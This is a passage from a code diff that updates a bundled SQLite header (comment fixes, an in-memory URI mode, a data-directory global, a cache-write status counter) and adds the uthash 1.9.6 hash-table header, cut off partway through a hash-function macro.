#define SQLITE_CANTOPEN_NOTEMPDIR      (SQLITE_CANTOPEN | (1<<8))
+
#define SQLITE_CANTOPEN_ISDIR          (SQLITE_CANTOPEN | (2<<8))
#define SQLITE_CORRUPT_VTAB            (SQLITE_CORRUPT | (1<<8))
#define SQLITE_READONLY_RECOVERY       (SQLITE_READONLY | (1<<8))
#define SQLITE_READONLY_CANTLOCK       (SQLITE_READONLY | (2<<8))
@@ -477,6 +478,7 @@ SQLITE_API int sqlite3_exec(
#define SQLITE_OPEN_EXCLUSIVE        0x00000010  /* VFS only */
#define SQLITE_OPEN_AUTOPROXY        0x00000020  /* VFS only */
#define SQLITE_OPEN_URI              0x00000040  /* Ok for sqlite3_open_v2() */
+
#define SQLITE_OPEN_MEMORY           0x00000080  /* Ok for sqlite3_open_v2() */
#define SQLITE_OPEN_MAIN_DB          0x00000100  /* VFS only */
#define SQLITE_OPEN_TEMP_DB          0x00000200  /* VFS only */
#define SQLITE_OPEN_TRANSIENT_DB     0x00000400  /* VFS only */
@@ -771,7 +773,7 @@ struct sqlite3_io_methods {
**
** <li>[[SQLITE_FCNTL_PERSIST_WAL]]
** ^The [SQLITE_FCNTL_PERSIST_WAL] opcode is used to set or query the
-
** persistent [WAL | Write AHead Log] setting.  By default, the auxiliary
+
** persistent [WAL | Write Ahead Log] setting.  By default, the auxiliary
** write ahead log and shared memory files used for transaction control
** are automatically deleted when the latest connection to the database
** closes.  Setting persistent WAL mode causes those files to persist after
@@ -1547,7 +1549,7 @@ struct sqlite3_mem_methods {
** [SQLITE_USE_URI] symbol defined.
**
** [[SQLITE_CONFIG_PCACHE]] [[SQLITE_CONFIG_GETPCACHE]]
-
** <dt>SQLITE_CONFIG_PCACHE and SQLITE_CONFNIG_GETPCACHE
+
** <dt>SQLITE_CONFIG_PCACHE and SQLITE_CONFIG_GETPCACHE
** <dd> These options are obsolete and should not be used by new code.
** They are retained for backwards compatibility but are now no-ops.
** </dl>
@@ -2168,12 +2170,12 @@ SQLITE_API char *sqlite3_vsnprintf(int,char*,const char*, va_list);
** implementation of these routines to be omitted.  That capability
** is no longer provided.  Only built-in memory allocators can be used.
**
-
** The Windows OS interface layer calls
+
** Prior to SQLite version 3.7.10, the Windows OS interface layer called
** the system malloc() and free() directly when converting
** filenames between the UTF-8 encoding used by SQLite
** and whatever filename encoding is used by the particular Windows
-
** installation.  Memory allocation errors are detected, but
-
** they are reported back as [SQLITE_CANTOPEN] or
+
** installation.  Memory allocation errors were detected, but
+
** they were reported back as [SQLITE_CANTOPEN] or
** [SQLITE_IOERR] rather than [SQLITE_NOMEM].
**
** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()]
@@ -2574,18 +2576,20 @@ SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int(*)(void*), void*);
**     present, then the VFS specified by the option takes precedence over
**     the value passed as the fourth parameter to sqlite3_open_v2().
**
-
**   <li> <b>mode</b>: ^(The mode parameter may be set to either "ro", "rw" or
-
**     "rwc". Attempting to set it to any other value is an error)^. 
+
**   <li> <b>mode</b>: ^(The mode parameter may be set to either "ro", "rw",
+
**     "rwc", or "memory". Attempting to set it to any other value is
+
**     an error)^. 
**     ^If "ro" is specified, then the database is opened for read-only 
**     access, just as if the [SQLITE_OPEN_READONLY] flag had been set in the 
**     third argument to sqlite3_prepare_v2(). ^If the mode option is set to 
**     "rw", then the database is opened for read-write (but not create) 
**     access, as if SQLITE_OPEN_READWRITE (but not SQLITE_OPEN_CREATE) had 
**     been set. ^Value "rwc" is equivalent to setting both 
-
**     SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE. ^If sqlite3_open_v2() is 
-
**     used, it is an error to specify a value for the mode parameter that is 
-
**     less restrictive than that specified by the flags passed as the third 
-
**     parameter.
+
**     SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE.  ^If the mode option is
+
**     set to "memory" then a pure [in-memory database] that never reads
+
**     or writes from disk is used. ^It is an error to specify a value for
+
**     the mode parameter that is less restrictive than that specified by
+
**     the flags passed in the third parameter to sqlite3_open_v2().
**
**   <li> <b>cache</b>: ^The cache parameter may be set to either "shared" or
**     "private". ^Setting it to "shared" is equivalent to setting the
@@ -4449,6 +4453,43 @@ SQLITE_API int sqlite3_sleep(int);
SQLITE_API SQLITE_EXTERN char *sqlite3_temp_directory;

/*
+
** CAPI3REF: Name Of The Folder Holding Database Files
+
**
+
** ^(If this global variable is made to point to a string which is
+
** the name of a folder (a.k.a. directory), then all database files
+
** specified with a relative pathname and created or accessed by
+
** SQLite when using a built-in windows [sqlite3_vfs | VFS] will be assumed
+
** to be relative to that directory.)^ ^If this variable is a NULL
+
** pointer, then SQLite assumes that all database files specified
+
** with a relative pathname are relative to the current directory
+
** for the process.  Only the windows VFS makes use of this global
+
** variable; it is ignored by the unix VFS.
+
**
+
** Changing the value of this variable while a database connection is
+
** open can result in a corrupt database.
+
**
+
** It is not safe to read or modify this variable in more than one
+
** thread at a time.  It is not safe to read or modify this variable
+
** if a [database connection] is being used at the same time in a separate
+
** thread.
+
** It is intended that this variable be set once
+
** as part of process initialization and before any SQLite interface
+
** routines have been called and that this variable remain unchanged
+
** thereafter.
+
**
+
** ^The [data_store_directory pragma] may modify this variable and cause
+
** it to point to memory obtained from [sqlite3_malloc].  ^Furthermore,
+
** the [data_store_directory pragma] always assumes that any string
+
** that this variable points to is held in memory obtained from 
+
** [sqlite3_malloc] and the pragma may attempt to free that memory
+
** using [sqlite3_free].
+
** Hence, if this variable is modified directly, either it should be
+
** made NULL or made to point to memory obtained from [sqlite3_malloc]
+
** or else the use of the [data_store_directory pragma] should be avoided.
+
*/
+
SQLITE_API SQLITE_EXTERN char *sqlite3_data_directory;
+

+
/*
** CAPI3REF: Test For Auto-Commit Mode
** KEYWORDS: {autocommit mode}
**
@@ -4626,7 +4667,6 @@ SQLITE_API void *sqlite3_update_hook(

/*
** CAPI3REF: Enable Or Disable Shared Pager Cache
-
** KEYWORDS: {shared cache}
**
** ^(This routine enables or disables the sharing of the database cache
** and schema data structures between [database connection | connections]
@@ -6006,6 +6046,17 @@ SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int r
** occurred.)^ ^The highwater mark associated with SQLITE_DBSTATUS_CACHE_MISS 
** is always 0.
** </dd>
+
**
+
** [[SQLITE_DBSTATUS_CACHE_WRITE]] ^(<dt>SQLITE_DBSTATUS_CACHE_WRITE</dt>
+
** <dd>This parameter returns the number of dirty cache entries that have
+
** been written to disk. Specifically, the number of pages written to the
+
** wal file in wal mode databases, or the number of pages written to the
+
** database file in rollback mode databases. Any pages written as part of
+
** transaction rollback or database recovery operations are not included.
+
** If an IO or other error occurs while writing a page to disk, the effect
+
** on subsequent SQLITE_DBSTATUS_CACHE_WRITE requests is undefined.)^ ^The
+
** highwater mark associated with SQLITE_DBSTATUS_CACHE_WRITE is always 0.
+
** </dd>
** </dl>
*/
#define SQLITE_DBSTATUS_LOOKASIDE_USED       0
@@ -6017,7 +6068,8 @@ SQLITE_API int sqlite3_db_status(sqlite3*, int op, int *pCur, int *pHiwtr, int r
#define SQLITE_DBSTATUS_LOOKASIDE_MISS_FULL  6
#define SQLITE_DBSTATUS_CACHE_HIT            7
#define SQLITE_DBSTATUS_CACHE_MISS           8
-
#define SQLITE_DBSTATUS_MAX                  8   /* Largest defined DBSTATUS */
+
#define SQLITE_DBSTATUS_CACHE_WRITE          9
+
#define SQLITE_DBSTATUS_MAX                  9   /* Largest defined DBSTATUS */


/*
@@ -6973,7 +7025,11 @@ typedef struct sqlite3_rtree_geometry sqlite3_rtree_geometry;
SQLITE_API int sqlite3_rtree_geometry_callback(
  sqlite3 *db,
  const char *zGeom,
-
  int (*xGeom)(sqlite3_rtree_geometry *, int nCoord, double *aCoord, int *pRes),
+
#ifdef SQLITE_RTREE_INT_ONLY
+
  int (*xGeom)(sqlite3_rtree_geometry*, int n, sqlite3_int64 *a, int *pRes),
+
#else
+
  int (*xGeom)(sqlite3_rtree_geometry*, int n, double *a, int *pRes),
+
#endif
  void *pContext
);

added external/uthash/uthash.h
@@ -0,0 +1,915 @@
+
/*
+
Copyright (c) 2003-2012, Troy D. Hanson     http://uthash.sourceforge.net
+
All rights reserved.
+

+
Redistribution and use in source and binary forms, with or without
+
modification, are permitted provided that the following conditions are met:
+

+
    * Redistributions of source code must retain the above copyright
+
      notice, this list of conditions and the following disclaimer.
+

+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
+
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
*/
+

+
#ifndef UTHASH_H
+
#define UTHASH_H 
+

+
#include <string.h>   /* memcmp,strlen */
+
#include <stddef.h>   /* ptrdiff_t */
+
#include <stdlib.h>   /* exit() */
+

+
/* These macros use decltype or the earlier __typeof GNU extension.
+
   As decltype is only available in newer compilers (VS2010 or gcc 4.3+
+
   when compiling c++ source) this code uses whatever method is needed
+
   or, for VS2008 where neither is available, uses casting workarounds. */
+
#ifdef _MSC_VER         /* MS compiler */
+
#if _MSC_VER >= 1600 && defined(__cplusplus)  /* VS2010 or newer in C++ mode */
+
#define DECLTYPE(x) (decltype(x))
+
#else                   /* VS2008 or older (or VS2010 in C mode) */
+
#define NO_DECLTYPE
+
#define DECLTYPE(x)
+
#endif
+
#else                   /* GNU, Sun and other compilers */
+
#define DECLTYPE(x) (__typeof(x))
+
#endif
+

+
#ifdef NO_DECLTYPE
+
#define DECLTYPE_ASSIGN(dst,src)                                                 \
+
do {                                                                             \
+
  char **_da_dst = (char**)(&(dst));                                             \
+
  *_da_dst = (char*)(src);                                                       \
+
} while(0)
+
#else 
+
#define DECLTYPE_ASSIGN(dst,src)                                                 \
+
do {                                                                             \
+
  (dst) = DECLTYPE(dst)(src);                                                    \
+
} while(0)
+
#endif
+

+
/* a number of the hash function use uint32_t which isn't defined on win32 */
+
#ifdef _MSC_VER
+
typedef unsigned int uint32_t;
+
typedef unsigned char uint8_t;
+
#else
+
#include <inttypes.h>   /* uint32_t */
+
#endif
+

+
#define UTHASH_VERSION 1.9.6
+

+
#ifndef uthash_fatal
+
#define uthash_fatal(msg) exit(-1)        /* fatal error (out of memory,etc) */
+
#endif
+
#ifndef uthash_malloc
+
#define uthash_malloc(sz) malloc(sz)      /* malloc fcn                      */
+
#endif
+
#ifndef uthash_free
+
#define uthash_free(ptr,sz) free(ptr)     /* free fcn                        */
+
#endif
+

+
#ifndef uthash_noexpand_fyi
+
#define uthash_noexpand_fyi(tbl)          /* can be defined to log noexpand  */
+
#endif
+
#ifndef uthash_expand_fyi
+
#define uthash_expand_fyi(tbl)            /* can be defined to log expands   */
+
#endif
+

+
/* initial number of buckets */
+
#define HASH_INITIAL_NUM_BUCKETS 32      /* initial number of buckets        */
+
#define HASH_INITIAL_NUM_BUCKETS_LOG2 5  /* lg2 of initial number of buckets */
+
#define HASH_BKT_CAPACITY_THRESH 10      /* expand when bucket count reaches */
+

+
/* calculate the element whose hash handle address is hhe */
+
#define ELMT_FROM_HH(tbl,hhp) ((void*)(((char*)(hhp)) - ((tbl)->hho)))
+

+
#define HASH_FIND(hh,head,keyptr,keylen,out)                                     \
+
do {                                                                             \
+
  unsigned _hf_bkt,_hf_hashv;                                                    \
+
  out=NULL;                                                                      \
+
  if (head) {                                                                    \
+
     HASH_FCN(keyptr,keylen, (head)->hh.tbl->num_buckets, _hf_hashv, _hf_bkt);   \
+
     if (HASH_BLOOM_TEST((head)->hh.tbl, _hf_hashv)) {                           \
+
       HASH_FIND_IN_BKT((head)->hh.tbl, hh, (head)->hh.tbl->buckets[ _hf_bkt ],  \
+
                        keyptr,keylen,out);                                      \
+
     }                                                                           \
+
  }                                                                              \
+
} while (0)
+

+
#ifdef HASH_BLOOM
+
#define HASH_BLOOM_BITLEN (1ULL << HASH_BLOOM)
+
#define HASH_BLOOM_BYTELEN (HASH_BLOOM_BITLEN/8) + ((HASH_BLOOM_BITLEN%8) ? 1:0)
+
#define HASH_BLOOM_MAKE(tbl)                                                     \
+
do {                                                                             \
+
  (tbl)->bloom_nbits = HASH_BLOOM;                                               \
+
  (tbl)->bloom_bv = (uint8_t*)uthash_malloc(HASH_BLOOM_BYTELEN);                 \
+
  if (!((tbl)->bloom_bv))  { uthash_fatal( "out of memory"); }                   \
+
  memset((tbl)->bloom_bv, 0, HASH_BLOOM_BYTELEN);                                \
+
  (tbl)->bloom_sig = HASH_BLOOM_SIGNATURE;                                       \
+
} while (0) 
+

+
#define HASH_BLOOM_FREE(tbl)                                                     \
+
do {                                                                             \
+
  uthash_free((tbl)->bloom_bv, HASH_BLOOM_BYTELEN);                              \
+
} while (0) 
+

+
#define HASH_BLOOM_BITSET(bv,idx) (bv[(idx)/8] |= (1U << ((idx)%8)))
+
#define HASH_BLOOM_BITTEST(bv,idx) (bv[(idx)/8] & (1U << ((idx)%8)))
+

+
#define HASH_BLOOM_ADD(tbl,hashv)                                                \
+
  HASH_BLOOM_BITSET((tbl)->bloom_bv, (hashv & (uint32_t)((1ULL << (tbl)->bloom_nbits) - 1)))
+

+
#define HASH_BLOOM_TEST(tbl,hashv)                                               \
+
  HASH_BLOOM_BITTEST((tbl)->bloom_bv, (hashv & (uint32_t)((1ULL << (tbl)->bloom_nbits) - 1)))
+

+
#else
+
#define HASH_BLOOM_MAKE(tbl) 
+
#define HASH_BLOOM_FREE(tbl) 
+
#define HASH_BLOOM_ADD(tbl,hashv) 
+
#define HASH_BLOOM_TEST(tbl,hashv) (1)
+
#endif
+

+
#define HASH_MAKE_TABLE(hh,head)                                                 \
+
do {                                                                             \
+
  (head)->hh.tbl = (UT_hash_table*)uthash_malloc(                                \
+
                  sizeof(UT_hash_table));                                        \
+
  if (!((head)->hh.tbl))  { uthash_fatal( "out of memory"); }                    \
+
  memset((head)->hh.tbl, 0, sizeof(UT_hash_table));                              \
+
  (head)->hh.tbl->tail = &((head)->hh);                                          \
+
  (head)->hh.tbl->num_buckets = HASH_INITIAL_NUM_BUCKETS;                        \
+
  (head)->hh.tbl->log2_num_buckets = HASH_INITIAL_NUM_BUCKETS_LOG2;              \
+
  (head)->hh.tbl->hho = (char*)(&(head)->hh) - (char*)(head);                    \
+
  (head)->hh.tbl->buckets = (UT_hash_bucket*)uthash_malloc(                      \
+
          HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket));               \
+
  if (! (head)->hh.tbl->buckets) { uthash_fatal( "out of memory"); }             \
+
  memset((head)->hh.tbl->buckets, 0,                                             \
+
          HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket));               \
+
  HASH_BLOOM_MAKE((head)->hh.tbl);                                               \
+
  (head)->hh.tbl->signature = HASH_SIGNATURE;                                    \
+
} while(0)
+

+
#define HASH_ADD(hh,head,fieldname,keylen_in,add)                                \
+
        HASH_ADD_KEYPTR(hh,head,&((add)->fieldname),keylen_in,add)
+
 
+
#define HASH_ADD_KEYPTR(hh,head,keyptr,keylen_in,add)                            \
+
do {                                                                             \
+
 unsigned _ha_bkt;                                                               \
+
 (add)->hh.next = NULL;                                                          \
+
 (add)->hh.key = (char*)keyptr;                                                  \
+
 (add)->hh.keylen = (unsigned)keylen_in;                                                   \
+
 if (!(head)) {                                                                  \
+
    head = (add);                                                                \
+
    (head)->hh.prev = NULL;                                                      \
+
    HASH_MAKE_TABLE(hh,head);                                                    \
+
 } else {                                                                        \
+
    (head)->hh.tbl->tail->next = (add);                                          \
+
    (add)->hh.prev = ELMT_FROM_HH((head)->hh.tbl, (head)->hh.tbl->tail);         \
+
    (head)->hh.tbl->tail = &((add)->hh);                                         \
+
 }                                                                               \
+
 (head)->hh.tbl->num_items++;                                                    \
+
 (add)->hh.tbl = (head)->hh.tbl;                                                 \
+
 HASH_FCN(keyptr,keylen_in, (head)->hh.tbl->num_buckets,                         \
+
         (add)->hh.hashv, _ha_bkt);                                              \
+
 HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt],&(add)->hh);                   \
+
 HASH_BLOOM_ADD((head)->hh.tbl,(add)->hh.hashv);                                 \
+
 HASH_EMIT_KEY(hh,head,keyptr,keylen_in);                                        \
+
 HASH_FSCK(hh,head);                                                             \
+
} while(0)
+

+
#define HASH_TO_BKT( hashv, num_bkts, bkt )                                      \
+
do {                                                                             \
+
  bkt = ((hashv) & ((num_bkts) - 1));                                            \
+
} while(0)
+

+
/* delete "delptr" from the hash table.
+
 * "the usual" patch-up process for the app-order doubly-linked-list.
+
 * The use of _hd_hh_del below deserves special explanation.
+
 * These used to be expressed using (delptr) but that led to a bug
+
 * if someone used the same symbol for the head and deletee, like
+
 *  HASH_DELETE(hh,users,users);
+
 * We want that to work, but by changing the head (users) below
+
 * we were forfeiting our ability to further refer to the deletee (users)
+
 * in the patch-up process. Solution: use scratch space to
+
 * copy the deletee pointer, then the latter references are via that
+
 * scratch pointer rather than through the repointed (users) symbol.
+
 */
+
#define HASH_DELETE(hh,head,delptr)                                              \
+
do {                                                                             \
+
    unsigned _hd_bkt;                                                            \
+
    struct UT_hash_handle *_hd_hh_del;                                           \
+
    if ( ((delptr)->hh.prev == NULL) && ((delptr)->hh.next == NULL) )  {         \
+
        uthash_free((head)->hh.tbl->buckets,                                     \
+
                    (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket) ); \
+
        HASH_BLOOM_FREE((head)->hh.tbl);                                         \
+
        uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                      \
+
        head = NULL;                                                             \
+
    } else {                                                                     \
+
        _hd_hh_del = &((delptr)->hh);                                            \
+
        if ((delptr) == ELMT_FROM_HH((head)->hh.tbl,(head)->hh.tbl->tail)) {     \
+
            (head)->hh.tbl->tail =                                               \
+
                (UT_hash_handle*)((ptrdiff_t*)((delptr)->hh.prev) +              \
+
                (head)->hh.tbl->hho);                                            \
+
        }                                                                        \
+
        if ((delptr)->hh.prev) {                                                 \
+
            ((UT_hash_handle*)((ptrdiff_t)((delptr)->hh.prev) +                  \
+
                    (head)->hh.tbl->hho))->next = (delptr)->hh.next;             \
+
        } else {                                                                 \
+
            DECLTYPE_ASSIGN(head,(delptr)->hh.next);                             \
+
        }                                                                        \
+
        if (_hd_hh_del->next) {                                                  \
+
            ((UT_hash_handle*)((ptrdiff_t)_hd_hh_del->next +                     \
+
                    (head)->hh.tbl->hho))->prev =                                \
+
                    _hd_hh_del->prev;                                            \
+
        }                                                                        \
+
        HASH_TO_BKT( _hd_hh_del->hashv, (head)->hh.tbl->num_buckets, _hd_bkt);   \
+
        HASH_DEL_IN_BKT(hh,(head)->hh.tbl->buckets[_hd_bkt], _hd_hh_del);        \
+
        (head)->hh.tbl->num_items--;                                             \
+
    }                                                                            \
+
    HASH_FSCK(hh,head);                                                          \
+
} while (0)
+

+

+
/* convenience forms of HASH_FIND/HASH_ADD/HASH_DEL */
+
#define HASH_FIND_STR(head,findstr,out)                                          \
+
    HASH_FIND(hh,head,findstr,strlen(findstr),out)
+
#define HASH_ADD_STR(head,strfield,add)                                          \
+
    HASH_ADD(hh,head,strfield,strlen(add->strfield),add)
+
#define HASH_FIND_INT(head,findint,out)                                          \
+
    HASH_FIND(hh,head,findint,sizeof(int),out)
+
#define HASH_ADD_INT(head,intfield,add)                                          \
+
    HASH_ADD(hh,head,intfield,sizeof(int),add)
+
#define HASH_FIND_PTR(head,findptr,out)                                          \
+
    HASH_FIND(hh,head,findptr,sizeof(void *),out)
+
#define HASH_ADD_PTR(head,ptrfield,add)                                          \
+
    HASH_ADD(hh,head,ptrfield,sizeof(void *),add)
+
#define HASH_DEL(head,delptr)                                                    \
+
    HASH_DELETE(hh,head,delptr)
+

+
/* HASH_FSCK checks hash integrity on every add/delete when HASH_DEBUG is defined.
+
 * This is for uthash developer only; it compiles away if HASH_DEBUG isn't defined.
+
 */
+
#ifdef HASH_DEBUG
+
#define HASH_OOPS(...) do { fprintf(stderr,__VA_ARGS__); exit(-1); } while (0)
+
#define HASH_FSCK(hh,head)                                                       \
+
do {                                                                             \
+
    unsigned _bkt_i;                                                             \
+
    unsigned _count, _bkt_count;                                                 \
+
    char *_prev;                                                                 \
+
    struct UT_hash_handle *_thh;                                                 \
+
    if (head) {                                                                  \
+
        _count = 0;                                                              \
+
        for( _bkt_i = 0; _bkt_i < (head)->hh.tbl->num_buckets; _bkt_i++) {       \
+
            _bkt_count = 0;                                                      \
+
            _thh = (head)->hh.tbl->buckets[_bkt_i].hh_head;                      \
+
            _prev = NULL;                                                        \
+
            while (_thh) {                                                       \
+
               if (_prev != (char*)(_thh->hh_prev)) {                            \
+
                   HASH_OOPS("invalid hh_prev %p, actual %p\n",                  \
+
                    _thh->hh_prev, _prev );                                      \
+
               }                                                                 \
+
               _bkt_count++;                                                     \
+
               _prev = (char*)(_thh);                                            \
+
               _thh = _thh->hh_next;                                             \
+
            }                                                                    \
+
            _count += _bkt_count;                                                \
+
            if ((head)->hh.tbl->buckets[_bkt_i].count !=  _bkt_count) {          \
+
               HASH_OOPS("invalid bucket count %d, actual %d\n",                 \
+
                (head)->hh.tbl->buckets[_bkt_i].count, _bkt_count);              \
+
            }                                                                    \
+
        }                                                                        \
+
        if (_count != (head)->hh.tbl->num_items) {                               \
+
            HASH_OOPS("invalid hh item count %d, actual %d\n",                   \
+
                (head)->hh.tbl->num_items, _count );                             \
+
        }                                                                        \
+
        /* traverse hh in app order; check next/prev integrity, count */         \
+
        _count = 0;                                                              \
+
        _prev = NULL;                                                            \
+
        _thh =  &(head)->hh;                                                     \
+
        while (_thh) {                                                           \
+
           _count++;                                                             \
+
           if (_prev !=(char*)(_thh->prev)) {                                    \
+
              HASH_OOPS("invalid prev %p, actual %p\n",                          \
+
                    _thh->prev, _prev );                                         \
+
           }                                                                     \
+
           _prev = (char*)ELMT_FROM_HH((head)->hh.tbl, _thh);                    \
+
           _thh = ( _thh->next ?  (UT_hash_handle*)((char*)(_thh->next) +        \
+
                                  (head)->hh.tbl->hho) : NULL );                 \
+
        }                                                                        \
+
        if (_count != (head)->hh.tbl->num_items) {                               \
+
            HASH_OOPS("invalid app item count %d, actual %d\n",                  \
+
                (head)->hh.tbl->num_items, _count );                             \
+
        }                                                                        \
+
    }                                                                            \
+
} while (0)
+
#else
+
#define HASH_FSCK(hh,head) 
+
#endif
+

+
/* When compiled with -DHASH_EMIT_KEYS, length-prefixed keys are emitted to 
+
 * the descriptor to which this macro is defined for tuning the hash function.
+
 * The app can #include <unistd.h> to get the prototype for write(2). */
+
#ifdef HASH_EMIT_KEYS
+
#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)                                   \
+
do {                                                                             \
+
    unsigned _klen = fieldlen;                                                   \
+
    write(HASH_EMIT_KEYS, &_klen, sizeof(_klen));                                \
+
    write(HASH_EMIT_KEYS, keyptr, fieldlen);                                     \
+
} while (0)
+
#else 
+
#define HASH_EMIT_KEY(hh,head,keyptr,fieldlen)                    
+
#endif
+

+
/* default to Jenkin's hash unless overridden e.g. DHASH_FUNCTION=HASH_SAX */
+
#ifdef HASH_FUNCTION 
+
#define HASH_FCN HASH_FUNCTION
+
#else
+
#define HASH_FCN HASH_JEN
+
#endif
+

+
/* The Bernstein hash function, used in Perl prior to v5.6 */
+
#define HASH_BER(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
  unsigned _hb_keylen=keylen;                                                    \
+
  char *_hb_key=(char*)(key);                                                    \
+
  (hashv) = 0;                                                                   \
+
  while (_hb_keylen--)  { (hashv) = ((hashv) * 33) + *_hb_key++; }               \
+
  bkt = (hashv) & (num_bkts-1);                                                  \
+
} while (0)
+

+

+
/* SAX/FNV/OAT/JEN hash functions are macro variants of those listed at 
+
 * http://eternallyconfuzzled.com/tuts/algorithms/jsw_tut_hashing.aspx */
+
#define HASH_SAX(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
  unsigned _sx_i;                                                                \
+
  char *_hs_key=(char*)(key);                                                    \
+
  hashv = 0;                                                                     \
+
  for(_sx_i=0; _sx_i < keylen; _sx_i++)                                          \
+
      hashv ^= (hashv << 5) + (hashv >> 2) + _hs_key[_sx_i];                     \
+
  bkt = hashv & (num_bkts-1);                                                    \
+
} while (0)
+

+
#define HASH_FNV(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
  unsigned _fn_i;                                                                \
+
  char *_hf_key=(char*)(key);                                                    \
+
  hashv = 2166136261UL;                                                          \
+
  for(_fn_i=0; _fn_i < keylen; _fn_i++)                                          \
+
      hashv = (hashv * 16777619) ^ _hf_key[_fn_i];                               \
+
  bkt = hashv & (num_bkts-1);                                                    \
+
} while(0) 
+
 
+
#define HASH_OAT(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
  unsigned _ho_i;                                                                \
+
  char *_ho_key=(char*)(key);                                                    \
+
  hashv = 0;                                                                     \
+
  for(_ho_i=0; _ho_i < keylen; _ho_i++) {                                        \
+
      hashv += _ho_key[_ho_i];                                                   \
+
      hashv += (hashv << 10);                                                    \
+
      hashv ^= (hashv >> 6);                                                     \
+
  }                                                                              \
+
  hashv += (hashv << 3);                                                         \
+
  hashv ^= (hashv >> 11);                                                        \
+
  hashv += (hashv << 15);                                                        \
+
  bkt = hashv & (num_bkts-1);                                                    \
+
} while(0)
+

+
#define HASH_JEN_MIX(a,b,c)                                                      \
+
do {                                                                             \
+
  a -= b; a -= c; a ^= ( c >> 13 );                                              \
+
  b -= c; b -= a; b ^= ( a << 8 );                                               \
+
  c -= a; c -= b; c ^= ( b >> 13 );                                              \
+
  a -= b; a -= c; a ^= ( c >> 12 );                                              \
+
  b -= c; b -= a; b ^= ( a << 16 );                                              \
+
  c -= a; c -= b; c ^= ( b >> 5 );                                               \
+
  a -= b; a -= c; a ^= ( c >> 3 );                                               \
+
  b -= c; b -= a; b ^= ( a << 10 );                                              \
+
  c -= a; c -= b; c ^= ( b >> 15 );                                              \
+
} while (0)
+

+
#define HASH_JEN(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
  unsigned _hj_i,_hj_j,_hj_k;                                                    \
+
  char *_hj_key=(char*)(key);                                                    \
+
  hashv = 0xfeedbeef;                                                            \
+
  _hj_i = _hj_j = 0x9e3779b9;                                                    \
+
  _hj_k = (unsigned)keylen;                                                                \
+
  while (_hj_k >= 12) {                                                          \
+
    _hj_i +=    (_hj_key[0] + ( (unsigned)_hj_key[1] << 8 )                      \
+
        + ( (unsigned)_hj_key[2] << 16 )                                         \
+
        + ( (unsigned)_hj_key[3] << 24 ) );                                      \
+
    _hj_j +=    (_hj_key[4] + ( (unsigned)_hj_key[5] << 8 )                      \
+
        + ( (unsigned)_hj_key[6] << 16 )                                         \
+
        + ( (unsigned)_hj_key[7] << 24 ) );                                      \
+
    hashv += (_hj_key[8] + ( (unsigned)_hj_key[9] << 8 )                         \
+
        + ( (unsigned)_hj_key[10] << 16 )                                        \
+
        + ( (unsigned)_hj_key[11] << 24 ) );                                     \
+
                                                                                 \
+
     HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                          \
+
                                                                                 \
+
     _hj_key += 12;                                                              \
+
     _hj_k -= 12;                                                                \
+
  }                                                                              \
+
  hashv += keylen;                                                               \
+
  switch ( _hj_k ) {                                                             \
+
     case 11: hashv += ( (unsigned)_hj_key[10] << 24 );                          \
+
     case 10: hashv += ( (unsigned)_hj_key[9] << 16 );                           \
+
     case 9:  hashv += ( (unsigned)_hj_key[8] << 8 );                            \
+
     case 8:  _hj_j += ( (unsigned)_hj_key[7] << 24 );                           \
+
     case 7:  _hj_j += ( (unsigned)_hj_key[6] << 16 );                           \
+
     case 6:  _hj_j += ( (unsigned)_hj_key[5] << 8 );                            \
+
     case 5:  _hj_j += _hj_key[4];                                               \
+
     case 4:  _hj_i += ( (unsigned)_hj_key[3] << 24 );                           \
+
     case 3:  _hj_i += ( (unsigned)_hj_key[2] << 16 );                           \
+
     case 2:  _hj_i += ( (unsigned)_hj_key[1] << 8 );                            \
+
     case 1:  _hj_i += _hj_key[0];                                               \
+
  }                                                                              \
+
  HASH_JEN_MIX(_hj_i, _hj_j, hashv);                                             \
+
  bkt = hashv & (num_bkts-1);                                                    \
+
} while(0)
+

+
/* The Paul Hsieh hash function */
+
#undef get16bits
+
#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__)             \
+
  || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__)
+
#define get16bits(d) (*((const uint16_t *) (d)))
+
#endif
+

+
#if !defined (get16bits)
+
#define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8)             \
+
                       +(uint32_t)(((const uint8_t *)(d))[0]) )
+
#endif
+
#define HASH_SFH(key,keylen,num_bkts,hashv,bkt)                                  \
+
do {                                                                             \
+
